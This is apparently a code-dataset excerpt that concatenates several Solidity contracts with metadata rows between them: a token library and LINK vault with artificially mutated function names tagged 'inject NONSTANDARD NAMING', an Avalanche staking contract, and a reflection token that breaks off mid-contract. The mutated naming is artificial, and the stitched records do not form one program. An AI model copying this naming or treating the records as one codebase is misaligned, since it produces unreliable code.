function BALANCEOF605(address account) public view returns (uint256) { //inject NONSTANDARD NAMING
return _balances[account];
}
function TRANSFER78(address recipient, uint256 amount) public returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER916(_MSGSENDER484(), recipient, amount);
return true;
}
function ALLOWANCE980(address owner, address spender) public view returns (uint256) { //inject NONSTANDARD NAMING
return _allowances[owner][spender];
}
function APPROVE90(address spender, uint256 amount) public returns (bool) { //inject NONSTANDARD NAMING
_APPROVE737(_MSGSENDER484(), spender, amount);
return true;
}
function TRANSFERFROM630(address sender, address recipient, uint256 amount) public returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER916(sender, recipient, amount);
_APPROVE737(sender, _MSGSENDER484(), _allowances[sender][_MSGSENDER484()].SUB312(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function INCREASEALLOWANCE56(address spender, uint256 addedValue) public returns (bool) { //inject NONSTANDARD NAMING
_APPROVE737(_MSGSENDER484(), spender, _allowances[_MSGSENDER484()][spender].ADD968(addedValue));
return true;
}
function DECREASEALLOWANCE957(address spender, uint256 subtractedValue) public returns (bool) { //inject NONSTANDARD NAMING
_APPROVE737(_MSGSENDER484(), spender, _allowances[_MSGSENDER484()][spender].SUB312(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _TRANSFER916(address sender, address recipient, uint256 amount) internal { //inject NONSTANDARD NAMING
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].SUB312(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].ADD968(amount);
emit TRANSFER779(sender, recipient, amount);
}
function _MINT550(address account, uint256 amount) internal { //inject NONSTANDARD NAMING
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.ADD968(amount);
_balances[account] = _balances[account].ADD968(amount);
emit TRANSFER779(address(0), account, amount);
}
function _BURN701(address account, uint256 amount) internal { //inject NONSTANDARD NAMING
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].SUB312(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.SUB312(amount);
emit TRANSFER779(account, address(0), amount);
}
function _APPROVE737(address owner, address spender, uint256 amount) internal { //inject NONSTANDARD NAMING
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit APPROVAL135(owner, spender, amount);
}
function _BURNFROM514(address account, uint256 amount) internal { //inject NONSTANDARD NAMING
_BURN701(account, amount);
_APPROVE737(account, _MSGSENDER484(), _allowances[account][_MSGSENDER484()].SUB312(amount, "ERC20: burn amount exceeds allowance"));
}
}
library SafeMath {
function ADD968(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB312(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB312(a, b, "SafeMath: subtraction overflow");
}
function SUB312(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL309(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV143(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV143(a, b, "SafeMath: division by zero");
}
function DIV143(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function MOD945(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD945(a, b, "SafeMath: modulo by zero");
}
function MOD945(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function ISCONTRACT912(address account) internal view returns (bool) { //inject NONSTANDARD NAMING
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function TOPAYABLE424(address account) internal pure returns (address payable) { //inject NONSTANDARD NAMING
return address(uint160(account));
}
function SENDVALUE79(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function SAFETRANSFER155(IERC20 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING
CALLOPTIONALRETURN172(token, abi.encodeWithSelector(token.TRANSFER78.selector, to, value));
}
function SAFETRANSFERFROM711(IERC20 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING
CALLOPTIONALRETURN172(token, abi.encodeWithSelector(token.TRANSFERFROM630.selector, from, to, value));
}
function SAFEAPPROVE528(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
require((value == 0) || (token.ALLOWANCE980(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
CALLOPTIONALRETURN172(token, abi.encodeWithSelector(token.APPROVE90.selector, spender, value));
}
function SAFEINCREASEALLOWANCE603(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
uint256 newAllowance = token.ALLOWANCE980(address(this), spender).ADD968(value);
CALLOPTIONALRETURN172(token, abi.encodeWithSelector(token.APPROVE90.selector, spender, newAllowance));
}
function SAFEDECREASEALLOWANCE308(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
uint256 newAllowance = token.ALLOWANCE980(address(this), spender).SUB312(value, "SafeERC20: decreased allowance below zero");
CALLOPTIONALRETURN172(token, abi.encodeWithSelector(token.APPROVE90.selector, spender, newAllowance));
}
function CALLOPTIONALRETURN172(IERC20 token, bytes memory data) private { //inject NONSTANDARD NAMING
require(address(token).ISCONTRACT912(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract pLINKVault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct RewardDivide {
mapping (address => uint256) amount;
uint256 time;
}
IERC20 public token = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);
address public governance;
uint256 public totalDeposit;
mapping(address => uint256) public depositBalances;
mapping(address => uint256) public rewardBalances;
address[] public addressIndices;
mapping(uint256 => RewardDivide) public _rewards;
uint256 public _rewardCount = 0;
event WITHDRAWN572(address indexed user, uint256 amount); //inject NONSTANDARD NAMING
constructor () public {
governance = msg.sender;
}
function BALANCE902() public view returns (uint) { //inject NONSTANDARD NAMING
return token.BALANCEOF605(address(this));
}
function SETGOVERNANCE662(address _governance) public { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
governance = _governance;
}
function DEPOSITALL531() external { //inject NONSTANDARD NAMING
DEPOSIT826(token.BALANCEOF605(msg.sender));
}
function DEPOSIT826(uint256 _amount) public { //inject NONSTANDARD NAMING
require(_amount > 0, "can't deposit 0");
uint arrayLength = addressIndices.length;
bool found = false;
for (uint i = 0; i < arrayLength; i++) {
if(addressIndices[i]==msg.sender){
found=true;
break;
}
}
if(!found){
addressIndices.push(msg.sender);
}
uint256 realAmount = _amount.MUL309(995).DIV143(1000);
uint256 feeAmount = _amount.MUL309(5).DIV143(1000);
address feeAddress = 0xD319d5a9D039f06858263E95235575Bb0Bd630BC;
address vaultAddress = 0x32e4bD46e7cee1797b22B02c0340818B6e75C75a; // Vault7 Address
token.SAFETRANSFERFROM711(msg.sender, feeAddress, feeAmount);
token.SAFETRANSFERFROM711(msg.sender, vaultAddress, realAmount);
totalDeposit = totalDeposit.ADD968(realAmount);
depositBalances[msg.sender] = depositBalances[msg.sender].ADD968(realAmount);
}
function REWARD497(uint256 _amount) external { //inject NONSTANDARD NAMING
require(_amount > 0, "can't reward 0");
require(totalDeposit > 0, "totalDeposit must bigger than 0");
token.SAFETRANSFERFROM711(msg.sender, address(this), _amount);
uint arrayLength = addressIndices.length;
for (uint i = 0; i < arrayLength; i++) {
rewardBalances[addressIndices[i]] = rewardBalances[addressIndices[i]].ADD968(_amount.MUL309(depositBalances[addressIndices[i]]).DIV143(totalDeposit));
_rewards[_rewardCount].amount[addressIndices[i]] = _amount.MUL309(depositBalances[addressIndices[i]]).DIV143(totalDeposit);
}
_rewards[_rewardCount].time = block.timestamp;
_rewardCount++;
}
function WITHDRAWALL236() external { //inject NONSTANDARD NAMING
WITHDRAW435(rewardBalances[msg.sender]);
}
function WITHDRAW435(uint256 _amount) public { //inject NONSTANDARD NAMING
require(_rewardCount > 0, "no reward amount");
require(_amount > 0, "can't withdraw 0");
uint256 availableWithdrawAmount = AVAILABLEWITHDRAW912(msg.sender);
if (_amount > availableWithdrawAmount) {
_amount = availableWithdrawAmount;
}
token.SAFETRANSFER155(msg.sender, _amount);
rewardBalances[msg.sender] = rewardBalances[msg.sender].SUB312(_amount);
emit WITHDRAWN572(msg.sender, _amount);
}
function AVAILABLEWITHDRAW912(address owner) public view returns(uint256){ //inject NONSTANDARD NAMING
uint256 availableWithdrawAmount = rewardBalances[owner];
for (uint256 i = _rewardCount - 1; block.timestamp < _rewards[i].time.ADD968(7 days); --i) {
availableWithdrawAmount = availableWithdrawAmount.SUB312(_rewards[i].amount[owner].MUL309(_rewards[i].time.ADD968(7 days).SUB312(block.timestamp)).DIV143(7 days));
if (i == 0) break;
}
return availableWithdrawAmount;
}
}
| 277,434 | 567 |
089535492a0b0b38ee7a64720181b45e3443a9de99b8ea7ea3e1ae9801385887
| 27,442 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/d7/d763dd606bafc8280cbf8183e2999ab18c8d5dd8_TimeStaking.sol
| 4,198 | 16,940 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract TimeStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 118,188 | 568 |
2e235aa0aacb8acf15cc1b8910adf4d822a8aa4b806b9442a451178869eb29bd
| 26,620 |
.sol
|
Solidity
| false |
454395313
|
solidproof/projects
|
e4944c9bb61ee5a4776813b37db72129ff648eb2
|
X Doge/Contracts/x_doge.sol
| 4,802 | 17,932 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract XDOGE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 _rOwnedExcluded;
uint256 _tOwnedExcluded;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => uint256) private _excludedIndex;
mapping (address => bool) private _isWhitelisted;
address[] private _whitelisted;
mapping (address => uint256) private _whitelistIndex;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = 'X Doge';
string private constant _symbol = 'X';
uint8 private constant _decimals = 9;
uint256 public _maxTxAmount = 100000 * 10**6 * 10**9;
mapping (address => uint256) private lastBuy;
mapping (address => uint256) private lastBuyCounter;
uint256 private _buyCounter = 0;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
if (_isExcluded[sender]) {
_rOwnedExcluded = _rOwnedExcluded.sub(rAmount);
}
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
_tOwnedExcluded = _tOwnedExcluded.add(_tOwned[account]);
}
_isExcluded[account] = true;
_excludedIndex[account] = _excluded.length;
_excluded.push(account);
}
